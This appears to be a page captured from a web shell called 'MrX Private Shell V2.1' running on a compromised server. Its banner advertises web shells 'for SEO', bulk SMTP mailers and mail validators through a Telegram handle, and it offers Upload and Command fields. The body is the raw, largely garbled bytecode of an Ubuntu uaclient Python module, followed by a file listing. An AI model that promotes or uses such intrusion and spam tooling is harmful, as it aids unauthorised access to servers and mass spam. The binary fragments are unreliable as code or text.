__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

Uٵg�=����SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJ	r	 SSK
JrJrJ
r
JrJr SSKJrJr SSKJr SSKJr \"5rS\S\4S	jr\R6"\"\55r"S
S\R<5r"SS
\R@5r!Sr"S8S\\\4S\\\4S\S\\\44Sjjr#S/4S\S\
\S\4Sjjr$S9S\S\%S\%S\%4Sjjr&S\\\4S\S\%4Sjr'/SQr(\(4S\
\S\4Sjjr)S \\S\%S\%4S!jr*S"\S\R4S#jr+S$\S\4S%jr,S&r-S'r.S(S)S*S+S,S-.r/S.\S\4S/jr0S0\
\S\
\4S1jr1S\%4S2jr2S3\S4\S\4S5jr3S6\
\4S7jr4g):�N��wraps)�Any�Dict�List�Optional�Union)�
exceptions�messages)�CONFIG_FIELD_ENVVAR_ALLOWLIST)�MessagingOperations�name�returnc�^�US:XagURS5nSUS'SRU5$)z1Replace the name of the root logger from __name__��.�	ubuntupror)�split�join)r�namess  �//usr/lib/python3/dist-packages/uaclient/util.py�replace_top_level_logger_namers0���r�z���J�J�s�O�E��E�!�H��8�8�E�?��c�,^�\rSrSrSrU4SjrSrU=r$)�DatetimeAwareJSONEncoder�zBA json.JSONEncoder subclass that writes out isoformat'd datetimes.c�>�[U[R5(aUR5$[TU]U5$�N)�
isinstance�datetime�	isoformat�super�default)�self�o�	__class__s  �rr#� DatetimeAwareJSONEncoder.default"s1����a��*�*�+�+��;�;�=� ��w��q�!�!r�)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r#�__static_attributes__�
__classcell__�r&s@rrrs���L�"�"rrc�<^�\rSrSrSrU4Sjr\S5rSrU=r	$)�DatetimeAwareJSONDecoder�(a
A JSONDecoder that parses some ISO datetime strings to datetime objects.

Important note: the "some" is because we seem to only be able extend
Python's json library in a way that lets us convert string values within
JSON objects (e.g. '{"lastModified": "2019-07-25T14:35:51"}'). Strings
outside of JSON objects (e.g. '"2019-07-25T14:35:51"') will not be passed
through our decoder.

(N.B. This will override any object_hook specified using arguments to it,
or used in load or loads calls that specify this as the cls.)
c�l>�SU;aURS5 [TU]"USUR0UD6 g)N�object_hook)�popr"�__init__r5)r$�args�kwargsr&s   �rr7�!DatetimeAwareJSONDecoder.__init__6s4����F�"��J�J�}�%�
���$�G�D�,<�,<�G��Grc��UR5H,up[U[5(dM[U5nX0U'M. U$![a UnNf=fr)�itemsr�str�parse_rfc3339_date�
ValueError)r%�key�value�	new_values    rr5�$DatetimeAwareJSONDecoder.object_hook;sY���'�'�)�J�C��%��%�%�&� 2��!�I�#�#��$����	"�&� %�I�&�s�A�A�Ar()
r)r*r+r,r-r7�staticmethodr5r.r/r0s@rr2r2(s"����H�
���rr2c�^^�UU4SjnU$)a�Decorator to retry on exception for retry_sleeps.

@param retry_sleeps: List of sleep lengths to apply between
   retries. Specifying a list of [0.5, 1] tells subp to retry twice
   on failure; sleeping half a second before the first retry and 1 second
   before the second retry.
@param exception: The exception class to catch and retry for the provided
   retry_sleeps. Any other exception types will not be caught by the
   decorator.
c�6>^�[T5UUU4Sj5nU$)Nc�>�TR5nT"U0UD6$!TaanU(dUe[RS[U5[	U55 [
R"URS55 SnAOSnAff=fMu)Nz%s: Retrying %d more times.r)�copy�LOG�debugr=�len�time�sleepr6)r8r9�sleeps�e�	exception�f�retry_sleepss    ���r�	decorator�)retry.<locals>.wrapper.<locals>.decoratorWsz���!�&�&�(�F��.��d�-�f�-�-�� �.�!����I�I�5�s�1�v�s�6�{���J�J�v�z�z�!�}�-�-��
.��s��B�AA>�>Br)rQrSrPrRs` ��r�wrapper�retry.<locals>.wrapperVs!���	�q��	.�
�	.��rr()rPrRrUs`` r�retryrWJs����"�Nrr�	orig_dict�new_dict�pathc��0nUR5H�upEURU[5nU(dUOUS-U-n[U[5(a+XA;a[XQUUS9nU(aX�U'M`Mb[X4'MlXV:wdMs[RSU[U55 XcU'M� UR5HupEX@;dMXSU'M U$)z<Return a dictionary of delta between orig_dict and new_dict.r)rZz'Contract value for '%s' changed to '%s')	r<�get�DROPPED_KEYr�dict�get_dict_deltasrIrJr=)	rXrYrZ�deltasr@rArB�key_path�	sub_deltas	         rr_r_js����F��o�o�'�
���L�L��k�2�	�"�3��s�
�S�(8���e�T�"�"���+��C�=�x��	��"+�3�K��*���
�
��I�I�9���I��
�
$�3�K�%(�&�n�n�&�
�����3�K�'��Mr�msg�
valid_choicesc
�F�SSKJn UR5nSnSRUSR	UVs/sHoUR5PM sn55nUR
U5 [S5R5nXA;aU$UR
U5 MEs snf)a3Interactive prompt message, returning a valid choice from msg.

Expects a structured msg which designates choices with square brackets []
around the characters which indicate a valid choice.

Uppercase and lowercase responses are allowed. Loop on invalid choices.

:return: Valid response character chosen.
r)�event_loggerrz{} is not one of: {}z, z> )	�uaclientrf�get_event_logger�formatr�upper�info�input�lower)rcrdrf�eventrA�choice�	error_msgs       r�prompt_choicesrq�s���&��)�)�+�E��E�&�-�-�
�t�y�y�}�E�}�V�,�,�.�}�E�F��I��
�
�
�3���d��!�!�#���!���L�	�
�
�9����Fs�B�
assume_yesr#c��U(agU(d[Rn[U5R5R	5nUS:XaU$US;agg)a}
Display a confirmation prompt, returning a bool indicating the response

:param msg: String custom prompt text to emit from input call.
:param assume_yes: Boolean set True to skip confirmation input and return
    True.
:param default: Boolean to return when user doesn't enter any text

This function will only prompt a single time, and defaults to "no" (i.e. it
returns False).
Tr)�y�yesF)r�
PROMPT_YES_NOrlrm�strip)rcrrr#rAs    r�prompt_for_confirmationrx�sM������$�$���#�J����$�$�&�E���{�������r�config�
path_to_valuec�<�Un0nURS5nUSnUH2nXe:XaSn[U[5(aURXc5nM2 g [	U5nUR5S:XagUR5S:Xag[R"USUS9e)	a"Check if value parameter can be translated into a boolean 'True' value.

@param config: A config dict representing
               /etc/ubuntu-advantange/uaclient.conf
@param path_to_value: The path from where the value parameter was
                      extracted.
@return: A boolean value indicating if the value paramater corresponds
         to a 'True' boolean value.
@raises exceptions.UbuntuProError when the value provide by the
        path_to_value parameter can not be translated into either
        a 'False' or 'True' boolean value.
r����falseF�trueTzboolean string: true or false)rz�expected_valuerA)rrr^r\r=rmr
�InvalidBooleanConfigValue)ryrzrA�
default_value�paths�
leaf_valuer@�	value_strs        r�is_config_value_truer��s���
�E��M�����$�E��r��J�����#�M��e�T�"�"��I�I�c�1�E����E�
�I�����F�"��	���	�g�	%���2�2�'�:��
�	
r)z(Bearer )[^\']+z(\'attach\', \')[^\']+z(\'machineToken\': \')[^\']+�(\'token\': \')[^\']+z((\'X-aws-ec2-metadata-token\': \')[^\']+z*(.*\[PUT\] response.*api/token,.*data: ).*z(https://bearer:)[^\@]+z1(/snap/bin/canonical-livepatch\s+enable\s+)[^\s]+z>(Contract\s+value\s+for\s+'resourceToken'\s+changed\s+to\s+).*z(\'resourceToken\': \')[^\']+z(\'contractToken\': \')[^\']+zF(https://contracts.canonical.com/v1/resources/livepatch\?token=)[^\s]+z(\"identityToken\": \")[^\"]+zT(response:\s+http://metadata/computeMetadata/v1/instance/service-accounts.*data: ).*r�z(\'userCode\': \')[^\']+z(\'magic_token=)[^\']+z(--registration-key=\")[^\"]+z(--registration-key=\')[^\']+z(--registration-key=)[^ ]+z(--registration-key \")[^\"]+z(--registration-key \')[^\']+z(--registration-key )[^\s]+z
(-p \")[^\"]+z
(-p \')[^\']+z(-p )[^\s]+�
redact_regexsc�L�UnUHn[R"USU5nM U$)z4Redact known sensitive information from log content.z\g<1><REDACTED>)�re�sub)�logr��redacted_log�redact_regexs    r�redact_sensitive_logsr�s,���L�%���v�v�l�,>��M��&��r�msg_opsc��U(dgUH<n[U[5(a
[U5 M%Uup4XS'U"S0UD6(aM< g g)aPEmit messages to the console for user interaction

:param msg_op: A list of strings or tuples. Any string items are printed.
    Any tuples will contain a callable and a dict of args to pass to the
    callable. Callables are expected to return True on success and
    False upon failure.

:return: True upon success, False on failure.
TrrFr()rr=�print)r�rr�msg_op�functorr8s     r�handle_message_operationsr�sJ�������f�c�"�"��&�M�"�M�G�!+����?�T�?�?���r�dt_strc��[R"SSU5n[R"SSU5nURSS5n[R"SSU5n[RR	US	5$)
a8
Parse a datestring in rfc3339 format. Originally written for compatibility
with golang's time.MarshalJSON function. Also handles output of pythons
isoformat datetime method.

This drops subseconds.

:param dt_str: a date string in rfc3339 format

:return: datetime.datetime object of time represented by dt_str
z(\d{2}:\d{2}:\d{2})\.\d+z\g<1>z(\d{2}:\d{2}:\d{2})$z\g<1>Z�Zz+00:00z(-|\+)(\d{2}):(\d{2})$z\g<1>\g<2>\g<3>z%Y-%m-%dT%H:%M:%S%z)r�r��replacer �strptime)r��dt_str_without_subseconds�
dt_str_with_z�dt_str_without_z�dt_str_with_pythonish_tzs     rr>r>&s���(!#���#�X�v�!���F�F���,E��M�%�,�,�S�(�;�� "�v�v�!�#5�7G� �����%�%� �"7��r�messagec��[RRb,S[RRR5;axUR	SS5nUR	[
RS-S5nUR	[
RS-S5nURSS5R5nU$)zq
Verify if the system can output unicode characters and if not,
remove those characters from the message string.
zUTF-8u—�-� r�ascii�ignore)
�sys�stdout�encodingrjr�r�
OKGREEN_CHECK�FAIL_X�encode�decode)r�s r�handle_unicode_charactersr�]s���	�
�
���#��#�*�*�-�-�3�3�5�5�
�/�/�(�C�0��
�/�/�(�"8�"8�3�">��C���/�/�(�/�/�C�"7��<���.�.��(�3�:�:�<���Nrc���[RR5VVs0sH=upUR5[;dURS5(dUS:XdM;X_M? snn$s snnf)N�UA_FEATURES�UA_CONFIG_FILE)�os�environr<rmr�
startswith)�k�vs  r�get_pro_environmentr�wsc���J�J�$�$�&��&�D�A��7�7�9�5�5��<�<�
�&�&�� � �		
���&����s�:A*� A*c��SnUR5H�up4URU5n[U[5(a%[U[5(a[	XU5 MP[U[
5(aO[U[
5(a:[
U5(a#[US[5(aU"XXCS9 M�X@U'M�X@U'M� g)a�Merge the contents of overlay dict into base_dict not only on top-level
keys, but on all on the depths of the overlay_dict object. For example,
using these values as entries for the function:

base_dict = {"a": 1, "b": {"c": 2, "d": 3}}
overlay_dict = {"b": {"c": 10}}

Should update base_dict into:

{"a": 1, "b": {"c": 10, "d": 3}}

@param base_dict: The dict to be updated
@param overlay_dict: The dict with information to be added into base_dict
c�0�SSSS.n/nURU5nUHfnSn[U5H8up�U	RU5URU5:XdM+[X�5 SnM: U(aMUURU5 Mh UR	U5 g)Nr�type�selector)�availableResources�resourceEntitlements�	overridesFT)r\�	enumerate�depth_first_merge_overlay_dict�append�extend)
�base_values�overlay_valuesr@�merge_id_key_map�values_to_append�id_key�
overlay_value�was_replaced�base_value_idx�
base_values
          r�update_dict_list�8depth_first_merge_overlay_dict.<locals>.update_dict_list�s���"(�$*�#�
��
��!�%�%�c�*��+�M� �L�.7��.D�*���>�>�&�)�]�->�->�v�-F�F�2�:�M�#'�L�/E�
 �<� �'�'�
�6�,�	���+�,rr)r@N)r<r\rr^r��listrK)�	base_dict�overlay_dictr�r@rAr�s      rr�r��s��� -�(#�(�(�*�
���]�]�3�'�
��j�$�'�'�J�u�d�,C�,C�*�9�>�5�A�
�
�D�
)�
)�j���.E�.E��:���:�j��m�T�#B�#B� ����@�E�"'�#��"�c�N�+r�amd64�i386�ppc64el�arm64�armhf)�x86_64�i686�ppc64le�aarch64�armv7l�archc�L�UR5n[RX5$r)rm�ARCH_ALIASESr\)r��
arch_lowers  r�standardize_arch_namer��s������J����J�3�3r�archesc��[5nUHnUR[U55 M [[	U55$r)�set�addr��sortedr�)r��deduplicated_archesr�s   r�deduplicate_archesr��s9���%������� 5�d� ;�<���$�*�+�,�,rc�2�[R"5S:H$)Nr)r��getuidr(rr�we_are_currently_rootr��s��
�9�9�;�!��r�filename�
new_extensionc�T�[RRU5up#US-U-$)Nr)r�rZ�splitext)r�r�r�
_extensions    r�set_filename_extensionr��s(���w�w�'�'��1��D��#�:�
�%�%r�package_listc�v�SR[R"SRU5SSSSSS95S-$)N�
r��PFz  )�width�break_long_words�break_on_hyphens�initial_indent�subsequent_indent)r�textwrap�wrap)r�s r�create_package_list_strr��sF��	
�	�	��M�M�����&��!&�!&�#�"&�

�		
��
	�r)r)rFF)5r �json�loggingr�r�r�r�rL�	functoolsr�typingrrrrr	rgr
r�uaclient.defaultsr�uaclient.typesr
�objectr]r=r�	getLoggerr)rI�JSONEncoderr�JSONDecoderr2rWr_rq�boolrxr��REDACT_SENSITIVE_LOGSr�r�r>r�r�r�r�r�r�r�r�r�r(rr�<module>rsB�����	�	�
����3�3�)�;�.��h����������5�h�?�@��"�t�/�/�"��t�/�/��D�BFH���C��H�~��)-�c�3�h���?B��	�#�s�(�^��<!�R�����c���C��6>C��	��#��6:��	��4$
��c�3�h��$
��$
��$
�N��@%:���S�	�����
�)�
*��8<��	��44�s�4�x�'8�'8�4�n�s��s��4�1#�j�������4��4��4�
-�t�C�y�-�T�#�Y�-��t��&�S�&��&��&�
��s�)�r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager